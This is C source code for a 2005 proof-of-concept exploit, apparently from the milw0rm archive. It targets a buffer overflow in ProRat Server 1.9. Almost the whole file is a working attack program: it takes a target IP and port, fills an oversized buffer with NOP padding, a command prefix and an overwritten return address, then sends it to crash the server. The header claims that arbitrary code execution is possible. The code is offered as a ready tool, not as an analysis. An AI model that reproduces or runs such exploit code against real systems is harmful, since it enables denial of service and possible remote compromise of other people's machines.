/* if this worked for you send me an email.
/str0ke */
/******************************************************************************************
ProRat Server Buffer Overflow Crash POC
http://www.prorat.net/products.php?product=ProRat
Discovered and Coded by evil dabus
e-mail: evil_dabus [at] yahoo.com
Tested on ProRat Server version 1.9 (Fix-2) Public Edition
on a Windows XP Professional sp2 operating system.
This exploit connects to the ProRat server (default port 5110) and sends
a long null command string.
After the exploit send, the ProRat Server will crash, trying to access
to a bad memory address: 0x41414141.
Remote users are able to cause the server to crash or potentially
execute arbitrary code.
*******************************************************************************************/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#define BUFSIZE 0x280
#define NOP 0x90
#define PORT 5110 // default port
#define RET_ADDR "\x41\x41\x41\x41" // crash
#define NULL_PING_COMMAND "\x30\x30\x30\x30\x30\x30"
void
banner() {
printf("- ProRat v1.9:Fix-2 remote buffer overflow\n");
printf("- Coded by evil dabus (evil_dabus [at] yahoo.com)\n");
}
void
usage(char *prog) {
banner();
printf("- Usage: %s <target ip> [target port]\n", prog);
printf("\n");
exit(1);
}
void
main(int argc, char *argv[])
{
WSADATA wsaData;
struct hostent *pTarget;
struct sockaddr_in sock;
SOCKET s;
int iPort = PORT;
char szRecvBuf[BUFSIZE+1];
char szExpBuff[BUFSIZE];
if (argc < 2) usage(argv[0]);
if (argc==3) iPort = atoi(argv[2]);
printf("\n[+] Initialize windows sockets.");
if (WSAStartup(MAKEWORD(2,0), &wsaData) < 0) {
printf("\n[-] WSAStartup failed! Exiting...");
return;
}
printf("\n[+] Initialize socket.");
s = socket(AF_INET, SOCK_STREAM , 0);
if(s == INVALID_SOCKET){
printf("\n[-] Error socket. Exiting...");
exit(1);
}
printf("\n[+] Resolving host info.");
if ((pTarget = gethostbyname(argv[1])) == NULL) {
printf("\n[-] Resolve of %s failed.", argv[1]);
exit(1);
}
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons(iPort);
printf("\n[+] Prepare exploit buffer... ");
memset(szExpBuff,NOP,BUFSIZE);
memcpy(szExpBuff,NULL_PING_COMMAND,sizeof(NULL_PING_COMMAND)-1);
memcpy(szExpBuff+576,RET_ADDR,sizeof(RET_ADDR)-1);
printf("\n[+] Connecting to %s:%d ... ", argv[1],iPort);
if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) ))){
printf("\n[-] Sorry, cannot connect to %s:%d. Try again...", argv[1],iPort);
exit(1);
}
printf("\n[+] OK.");
if ( recv(s, szRecvBuf, BUFSIZE+1, 0) == 0 ) {
printf("\n[-] Error response server. Exiting...");
exit(1);
}
Sleep(1000);
printf("\n[+] Sending exploit buffer. size: %d",sizeof(szExpBuff));
if (send(s,szExpBuff, sizeof(szExpBuff)+1, 0) == -1){
printf("\n[-] Send failed. Exiting...");
exit(1);
}
Sleep(1000);
printf("\n[+] OK.\n");
printf("\n[*] Now try to connect to the server");
closesocket(s);
WSACleanup();
}
// milw0rm.com [2005-08-01]
